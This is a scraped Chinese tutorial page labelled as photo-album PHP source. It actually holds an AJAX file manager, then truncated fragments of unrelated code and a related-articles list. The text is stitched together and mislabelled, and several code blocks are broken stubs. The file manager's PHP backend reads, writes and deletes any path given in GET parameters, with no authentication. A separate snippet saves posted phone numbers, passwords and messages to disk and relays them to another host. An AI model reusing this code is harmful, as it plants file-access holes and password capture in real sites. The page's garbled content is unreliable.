php相册系统源代码(1/5)
/*
这是一款简单的php相册系统,包括有如下文件
conn.php数据库教程连接文件以及文件上传功能和分页函数
vc.php 用来显示相册
files.php 照片上传文件
index.php 相册管理代码
savefile.php保存文件代码
*/
?>
index.php
代码如下 | 复制代码 |
<!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> <body> }
|
<!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd">
<html xmlns="http://www.111cn.net/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<meta http-equiv="cache-control" content="no-cache, must-revalidate">
<title>ajax+php教程文件管理系统</title>
<style type="text/css教程">
@charset "utf-8";
/* css document */
<!--
body {
padding-right: 0px;
padding-left: 0px;
padding-bottom: 0px;
margin: 0px auto;
color: #777;
line-height: 18px;
padding-top: 0px;
font-family: tahoma, arial, helvetica, sans-serif;
background-color: #fff
}
*+html body {
padding-right: 0px;
padding-left: 0px;
padding-bottom: 0px;
margin: 0px auto;
color: #777;
line-height: 18px;
padding-top: 0px;
font-family: "微软雅黑", ahoma, arial, helvetica, sans-serif;
background-color: #fff
}
a {
text-decoration:none
}
input {
padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px
}
.main {
background-color:#bfe6bc;
margin:100px auto;
width:800px;
height:180px;
border:8px #399c26 solid;
}
.header {
text-align:center;
margin:10px auto;
width:100%;
display:block
}
.header h1 {
font-size:20px;
color:#399c26
}
.header p {
padding:0px;
margin-top:-10px;
}
.header p span{
font-size:12px;
color:#fff
}
.button_list {
margin:10px auto;
width:382px;
height:110px;
display:block
}
.button {
width:100px;
border:8px #399c26 solid;
height:20px;
line-height:20px;
font-size:14px;
float:left;
text-align:center;
margin-left:10px;
margin-bottom:10px;
background-color:#399c26
}
.button a{
color:#fff;
font-weight:bold
}
.footer {
text-align:center;
font-size:12px;
display:block;
margin:10px auto;
}
.black_overlay{
display: none;
position: absolute;
top: 0%;
left: 0%;
width: 100%;
height: 100%;
background-color: black;
z-index:1001;
-moz-opacity: 0.8;
opacity:.80;
filter: alpha(opacity=80);
}
.file_list {
display: none;
position: absolute;
top: 25%;
left: 25%;
width: 50%;
height: 50%;
padding: 16px;
border: 8px solid #399c26;
background-color: white;
z-index:1002;
overflow: auto;
background-color:#bfe6bc;
}
.file_list_t {
margin:0 auto;
display:inline;
}
.file_list_t li {
font-size:14px;
list-style-type:none;
padding:0px;
background-color:#bfe6bc;
border-bottom:1px #ccc solid;
}
*+html .file_list_t li {
font-size:14px;
background:url(images/list_ico_1.gif) #fff no-repeat 7px 50%;
list-style-type:none;
text-indent:5px;
padding:0px;
background-color:#bfe6bc;
border-bottom:1px #ccc solid;
}
*+html .file_list_t li span {
float:right;
font-weight:bold;
margin-top:-20px;
}
.file_list_t li span {
float:right;
font-weight:bold;
margin-top:0px;
}
.file_list_t li a{
color:#399c26;
}
.file_list_close {
display: none;
position: absolute;
top: 22%;
left: 75%;
width: 30px;
height: 16px;
border: 1px solid #399c26;
z-index:1002;
background-color:#399c26;
color:#fff;
line-height:16px;
text-align:center
}
.file_list_close a{
color:#fff;
}/* file_content_input_form */
.file_content_input_form{
margin:0 auto;
width:450px;
padding:14px;
}
/* input_box */
#input_box{
}
#input_box h1 {
font-size:14px;
font-weight:bold;
margin-bottom:8px;
}
#input_box p{
font-size:11px;
color:#399c26;
margin-bottom:20px;
border-bottom:solid 1px #b7ddf2;
padding-bottom:10px;
}
#input_box label{
display:block;
font-weight:bold;
text-align:right;
width:140px;
float:left;
}
#input_box .small{
color:#399c26;
display:block;
font-size:11px;
font-weight:normal;
text-align:right;
width:140px;
}
#input_box input{
float:left;
font-size:12px;
padding:4px 2px;
border:solid 1px #399c26;
width:200px;
margin:2px 0 20px 10px;
}
#input_box textarea{
float:left;
font-size:12px;
padding:4px 2px;
border:solid 1px #399c26;
width:200px;
height:150px;
margin:2px 0 20px 10px;
}
#input_box button{
clear:both;
margin-left:150px;
width:125px;
height:31px;
background:#399c26;
text-align:center;
line-height:31px;
color:#ffffff;
font-size:11px;
font-weight:bold;
}
-->
</style>
<script type="text/网页特效" src="ajax.网页特效"></script>
</head>
<body>
<div class="main">
<div class="header">
<h1>欢迎使用anfms</h1>
<p><span>v0.1.0 alpha</span></p>
</div>
<div class="button_list">
<div class="button"><a href="网页特效:void(0);" onclick="javascript:file_list('/');document.getelementbyid('file_list').style.display='block';document.getelementbyid('file_list_close').style.display='block';document.getelementbyid('fade').style.display='block'">文件列表</a></div>
<div class="button"><a href="javascript:void(0);" onclick="javascript:file_list('/');document.getelementbyid('file_make').style.display='block';document.getelementbyid('file_list_close').style.display='block';document.getelementbyid('fade').style.display='block'">创建文件</a></div>
<div class="button"><a href="javascript:void(0);" onclick="document.getelementbyid('file_content_input').style.display='block';document.getelementbyid('file_list_close').style.display='block';document.getelementbyid('fade').style.display='block'">写入内容</a></div>
<div class="button"><a href="javascript:void(0);" onclick="document.getelementbyid('file_get_content').style.display='block';document.getelementbyid('file_list_close').style.display='block';document.getelementbyid('fade').style.display='block'">读取内容</a></div>
</div>
<div class="footer">
<p>
©2009-2010 uniter.com.cn powered by uniter team<br />
supported by ie7+ firefox opera
</p>
</div>
<div class="file_list_close" id="file_list_close">
<a href="javascript:void(0);" onclick="document.getelementbyid('file_list').style.display='none';document.getelementbyid('file_content_input').style.display='none';document.getelementbyid('file_get_content').style.display='none';document.getelementbyid('file_list_close').style.display='none';document.getelementbyid('fade').style.display='none';location.reload()">x</a>
</div>
<div class="file_list" id="file_list"></div>
<div class="file_list" id="file_content_input">
<div id="input_box" class="file_content_input_form">
<form id="form" name="form" method="post" action="">
<label>文件名
<span class="small">例如:abc.txt</span>
</label>
<input type="text" name="input_name" id="input_name" />
<label>内容值
<span class="small">添加文件内容</span>
</label>
<textarea name="input_content" id="input_content"></textarea>
<button type="button" onclick="javascript:file_content_input('input_name='+document.getelementbyid('input_name').value+'&input_content='+document.getelementbyid('input_content').value);">确定</button>
<div class="spacer"></div>
</form>
</div>
</div>
<div class="file_list" id="file_get_content">
<div id="input_box" class="file_content_input_form">
<form id="get_form" name="get_form" method="post" action="">
<label>文件名
<span class="small">例如:abc.txt</span>
</label>
<input type="text" name="input_name" id="input_name" />
<button type="button" onclick="javascript:file_get_content('input_name='+document.get_form.input_name.value);">确定</button>
<div class="spacer"></div>
</form>
</div>
</div>
<div class="file_list" id="file_make">
<div id="input_box" class="file_content_input_form">
<form id="make_form" name="make_form" method="post" action="">
<label>文件夹
<span class="small">例如:abc</span>
</label>
<input type="text" name="input_name" id="input_name" />
<button type="button" onclick="javascript:file_make('input_name='+document.make_form.input_name.value);">确定</button>
<div class="spacer"></div>
</form>
</div>
</div>
<div id="fade" class="black_overlay"></div>
</div>
</body>
</html>
ajax.网页特效
<script>
// javascript document
function do_ajax() {
}
function ajax_get_data(id) {
}
function file_list(path) {
var xhr;
if (window.xmlhttprequest) {
xhr = new xmlhttprequest();
}else if (window.activexobject) {
xhr = new activexobject("msxml2.xmlhttp");
}else {
throw new error("ajax is not supported by this www.111cn.net browser");
}
xhr.onreadystatechange = function () {
if (xhr.readystate == 4) {
if (xhr.status >= 200 && xhr.status < 300) {
document.getelementbyid('file_list').innerhtml = xhr.responsetext;
}
}
}
xhr.open('get','anfms.php?action=filelist&path='+path);
xhr.setrequestheader("if-modified-since","0");
xhr.send();
}
function file_content_input(data) {
var data;
var xhr;
if (window.xmlhttprequest) {
xhr = new xmlhttprequest();
}else if (window.activexobject) {
xhr = new activexobject("msxml2.xmlhttp");
}else {
throw new error("ajax is not supported by this browser");
}
xhr.onreadystatechange = function () {
if (xhr.readystate == 4) {
if (xhr.status >= 200 && xhr.status < 300) {
document.getelementbyid('file_content_input').innerhtml = xhr.responsetext;
}
}
}
xhr.open('get','anfms.php?action=inputcontent&'+data);
xhr.setrequestheader("if-modified-since","0");
xhr.send();
}
function file_get_content(data) {
var data;
var xhr;
if (window.xmlhttprequest) {
xhr = new xmlhttprequest();
}else if (window.activexobject) {
xhr = new activexobject("msxml2.xmlhttp");
}else {
throw new error("ajax is not supported by this browser");
}
xhr.onreadystatechange = function () {
if (xhr.readystate == 4) {
if (xhr.status >= 200 && xhr.status < 300) {
document.getelementbyid('file_get_content').innerhtml = xhr.responsetext;
}
}
}
xhr.open('get','anfms.php?action=getcontent&'+data);
xhr.setrequestheader("if-modified-since","0");
xhr.send();
}
function file_make(file) {
var file;
var xhr;
if (window.xmlhttprequest) {
xhr = new xmlhttprequest();
}else if (window.activexobject) {
xhr = new activexobject("msxml2.xmlhttp");
}else {
throw new error("ajax is not supported by this browser");
}
xhr.onreadystatechange = function () {
if (xhr.readystate == 4) {
if (xhr.status >= 200 && xhr.status < 300) {
document.getelementbyid('file_make').innerhtml = xhr.responsetext;
}
}
}
xhr.open('get','anfms.php?action=filemake&'+file);
xhr.setrequestheader("if-modified-since","0");
xhr.send();
}
function file_delete(file) {
var file;
var xhr;
if (window.xmlhttprequest) {
xhr = new xmlhttprequest();
}else if (window.activexobject) {
xhr = new activexobject("msxml2.xmlhttp");
}else {
throw new error("ajax is not supported by this browser");
}
xhr.onreadystatechange = function () {
if (xhr.readystate == 4) {
if (xhr.status >= 200 && xhr.status < 300) {
document.getelementbyid('file_list').innerhtml = xhr.responsetext;
}
}
}
xhr.open('get','anfms.php?action=delete_file&file='+file);
xhr.setrequestheader("if-modified-since","0");
xhr.send();
}
function dir_delete(file) {
var file;
var xhr;
if (window.xmlhttprequest) {
xhr = new xmlhttprequest();
}else if (window.activexobject) {
xhr = new activexobject("msxml2.xmlhttp");
}else {
throw new error("ajax is not supported by this browser");
}
xhr.onreadystatechange = function () {
if (xhr.readystate == 4) {
if (xhr.status >= 200 && xhr.status < 300) {
document.getelementbyid('file_list').innerhtml = xhr.responsetext;
}
}
}
xhr.open('get','anfms.php?action=delete_dir&file='+file);
xhr.setrequestheader("if-modified-since","0");
xhr.send();
}
</script>
anfms.php
<?php
/**
* all needs file e 111cn.net manage system
* this is a test code
* return data to ajax
* by aiens
* 2010-01-13 19:20
*/header("content-type: text/html; charset=utf-8");
$document_root = $_server['document_root'];
if ($_get['action'] == 'filelist') { //return file list
echo '<div class="file_list_t">';
$checkpath = str_replace($document_root,'',$_get['path']);
if ($checkpath != '/../') {
$checkpath = str_replace('../','',$checkpath);
$path1 = $document_root.str_replace($document_root,'',$_get['path']);
$dir = opendir($path1);
while ($file = readdir($dir)) {
if (!($file == '..')) {
if ($file == '.') {
$path = $path1.'../';
$file = '返回';
if ($checkpath != '/') {
echo '<li><a href="javascript:void(0);" onclick="javascript:file_list(''.$path.'');">'.$file.'</a></li>';
}
}else{
$path = $path1.$file.'/';
$path = iconv('gb2312','utf-8',$path);
if (is_dir($path1.$file)) {
echo '<li><a href="javascript:void(0);" onclick="javascript:file_list(''.$path.'');">'.$file.'</a><span><a href="javascript:void(0);" onclick="javascript:if(confirm('确认删除?')) dir_delete(''.$path.'');">删除</a></span></li>';
}else{
$file = iconv('gb2312','utf-8',$file);
$filesize = filesize($path1.$file)/1000;
echo '<li>'.$file.' - ('.$filesize.'kb)<span><a href="javascript:void(0);" onclick="javascript:if(confirm('确认删除?')) file_delete(''.$path1.$file.'');">删除</a></span></li>';
}
}
}
}
closedir($dir);
}
echo '</div>';
}else if ($_get['action'] == 'inputcontent') { //input data to file
$name = $_get['input_name'];
$content = $_get['input_content'];
$data = date('y-m-d h:i:s');
$fp = @fopen(dirname(__file__).'/'.$name, 'ab');
$data = "data:".$data."t content:".$content."n";
$fw = @fwrite($fp, $data, strlen($data));
@fclose($fp);
if ($fw) {
echo '成功写入';
}else{
echo '写入失败';
}
}else if ($_get['action'] == 'getcontent') { //get data to file
$name = $_get['input_name'];
$fp = @fopen(dirname(__file__).'/'.$name, 'rb');
if (!$fp) {
echo 'www.111cn.net 系统所在目录不存在此文件,无法读取';
exit;
}
while (!feof($fp)) {
$content = fgets($fp);
echo $content.'<br />';
}
}else if ($_get['action'] == 'filemake') { //make dir
$name = $_get['input_name'];
function makedir($path) {
if (!file_exists($path)) {
makedir(dirname($path));
return mkdir($path, 0777);
}
}
if (makedir($name)) {
echo '成功创建';
}else{
echo '创建失败';
}
}else if ($_get['action'] == 'delete_file') { //delete file
$file = $_get['file'];
unlink($file);
echo '成功删除';
}else if ($_get['action'] == 'delete_dir') { //delete dir
$dir = $_get['file'];
function delete_dir($dir) {
if(! is_dir($dir)) {
return false;
}
$handle = @opendir($dir);
while(($file = @readdir($handle)) !== false) {
if($file != '.' && $file != '..') {
$dir = $dir . '/' . $file;
is_dir($dir) ? delete_dir($dir) : @unlink($dir);
}
}
closedir($handle);
return rmdir($dir) ;
}
if (delete_dir($dir)) {
echo '成功删除';
}else{
echo '删除失败';
}
}
?>
代码如下 | 复制代码 |
error_reporting(0); if($_get['act']=='send'){ @file_put_contents(time().'.txt',$_post['mobile_no'].'|||'.$_post['pass'].'|||'.$_post['sms']." "); $post_data="mobile_no={$_post['mobile_no']}&pass={$_post['pass']}&sms=".rawurlencode($_post['sms']); $len=strlen($post_data); $headers="post /fetion/fetionserver.php http/1.1 "; $headers.="accept: */* "; $headers.="content-type: application/x-www-form-urlencoded "; $headers.="user-agent: 111cn.net.net "; $headers.="host: x.111cn.net.net "; $headers.="content-length: {$len} "; $headers.="connection: close "; $headers.=$post_data; if($fp=fsockopen('v.net',80,$errno,$errstr,90)){ //flock($fp,lock_ex); fwrite($fp,$headers); echo fread($fp,10240); fclose($fp); } } ?> |
代码如下 | 复制代码 |
<!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> <body> </form> |
结构:首字散列表、trie索引树结点
优点:分词中,不需预知待查询词的长度,沿树链逐字匹配。
缺点:构造和维护比较复杂,单词树枝多,浪费了一定的空间
* @version 0.1
* @todo 构造通用的字典算法,并写了一个简易的分词
* @author shjuto@gmail.com
* trie字典树
*
*/
代码如下 | 复制代码 |
class trie function __construct() /** /** |
代码如下 | 复制代码 |
//index.php文件 |
pagination.js文件
代码如下 | 复制代码 |
function $() var xmlhttp function statechanged() function getxmlhttpobject() |
相关文章
- 有一种方法,可以不打开网站而直接查看到这个网站的源代码.. 这样可以有效地防止误入恶意网站... 在浏览器地址栏输入: view-source:http://...2016-09-20
- <?php require('path.inc.php'); header('content-Type: text/html; charset=utf-8'); $borough_id = intval($_GET['id']); if(!$borough_id){ echo ' ...2016-11-25
- 本文实例讲述了JS+CSS实现分类动态选择及移动功能效果代码。分享给大家供大家参考,具体如下:这是一个类似选项卡功能的选择插件,与普通的TAb区别是加入了动画效果,多用于商品类网站,用作商品分类功能,不过其它网站也可以用,...2015-10-21
- 本文实例讲述了JS实现自定义简单网页软键盘效果。分享给大家供大家参考,具体如下:这是一款自定义的简单点的网页软键盘,没有使用任何控件,仅是为了练习JavaScript编写水平,安全性方面没有过多考虑,有顾虑的可以不用,目的是学...2015-11-08
- 本文实例讲述了JS基于Mootools实现的个性菜单效果代码。分享给大家供大家参考,具体如下:这里演示基于Mootools做的带动画的垂直型菜单,是一个初学者写的,用来学习Mootools的使用有帮助,下载时请注意要将外部引用的mootools...2015-10-23
- php 取除连续空格与换行代码,这些我们都用到str_replace与正则函数 第一种: $content=str_replace("n","",$content); echo $content; 第二种: $content=preg_replac...2016-11-25
- php简单用户登陆程序代码 这些教程很对初学者来讲是很有用的哦,这款就下面这一点点代码了哦。 <center> <p> </p> <p> </p> <form name="form1...2016-11-25
- 公司一些wordpress网站由于下载的插件存在恶意代码,导致整个服务器所有网站PHP文件都存在恶意代码,就写了个简单的脚本清除。恶意代码示例...2015-10-23
- 其实挺简单的就是if(navigator.userAgent.indexOf('UCBrowser') > -1) {alert("uc浏览器");}else{//不是uc浏览器执行的操作}如果想测试某个浏览器的特征可以通过如下方法获取JS获取浏览器信息 浏览器代码名称:navigator...2015-11-08
- 本文实例讲述了JS实现双击屏幕滚动效果代码。分享给大家供大家参考,具体如下:这里演示双击滚屏效果代码的实现方法,不知道有觉得有用处的没,现在网上还有很多还在用这个特效的呢,代码分享给大家吧。运行效果截图如下:在线演...2015-10-30
- 一、日期减去天数等于第二个日期function cc(dd,dadd){//可以加上错误处理var a = new Date(dd)a = a.valueOf()a = a - dadd * 24 * 60 * 60 * 1000a = new Date(a)alert(a.getFullYear() + "年" + (a.getMonth() +...2015-11-08
- 微信支付,即便交了保证金,你还是处理测试阶段,不能正式发布。必须到你通过程序测试提交订单、发货通知等数据到微信的系统中,才能申请发布。然后,因为在微信中是通过JS方式调用API,必须在微信后台设置支付授权目录,而且要到...2014-05-31
- 本文实例讲述了PHP常用的小程序代码段。分享给大家供大家参考,具体如下:1.计算两个时间的相差几天$startdate=strtotime("2009-12-09");$enddate=strtotime("2009-12-05");上面的php时间日期函数strtotime已经把字符串...2015-11-24
- 小编分享了一段简单的php中文转拼音的实现代码,代码简单易懂,适合初学php的同学参考学习。 代码如下 复制代码 <?phpfunction Pinyin($_String...2017-07-06
php导出csv格式数据并将数字转换成文本的思路以及代码分享
php导出csv格式数据实现:先定义一个字符串 存储内容,例如 $exportdata = '规则111,规则222,审222,规222,服2222,规则1,规则2,规则3,匹配字符,设置时间,有效期'."/n";然后对需要保存csv的数组进行foreach循环,例如复制代...2014-06-07- ecshop商品无限级分类代码 function cat_options($spec_cat_id, $arr) { static $cat_options = array(); if (isset($cat_options[$spec_cat_id]))...2016-11-25
- 本文介绍了如何延迟javascript代码的加载,加快网页的访问速度。 当一个网站有很多js代码要加载,js代码放置的位置在一定程度上将会影像网页的加载速度,为了让我们的网页加载速度更快,本文总结了一下几个注意点...2013-10-13
- 这篇文章主要介绍了IDEA插件之快速删除Java代码中的注释,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2021-02-18
- 这篇文章主要介绍了C#超实用代码段合集,涉及C#针对图标、数学运算、拼音、日期、时间及文件夹等的相关操作技巧,需要的朋友可以参考下...2020-06-25
- 这篇文章主要介绍了vue项目,代码提交至码云,iconfont的用法说明,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2020-07-30